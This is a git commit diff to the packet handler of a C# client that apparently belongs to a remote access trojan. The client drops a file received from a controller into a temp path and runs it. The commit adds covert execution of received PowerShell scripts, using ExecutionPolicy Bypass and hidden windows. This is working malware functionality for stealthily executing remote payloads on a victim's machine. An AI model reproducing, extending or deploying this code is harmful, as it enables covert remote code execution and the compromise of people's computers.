support ps1 files
This commit is contained in:
parent
38a652b171
commit
b96daccc0b
@ -17,7 +17,10 @@ namespace Client.Handle_Packet
|
|||||||
//Drop To Disk
|
//Drop To Disk
|
||||||
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
|
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
|
||||||
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
||||||
Process.Start(fullPath);
|
if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
|
||||||
|
Process.Start(new ProcessStartInfo { FileName = "powershell", Arguments = "–ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" + fullPath + "\"", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden });
|
||||||
|
else
|
||||||
|
Process.Start(fullPath);
|
||||||
if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
|
if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
|
||||||
{
|
{
|
||||||
new HandleUninstall();
|
new HandleUninstall();
|
||||||
|
Loading…
x
Reference in New Issue
Block a user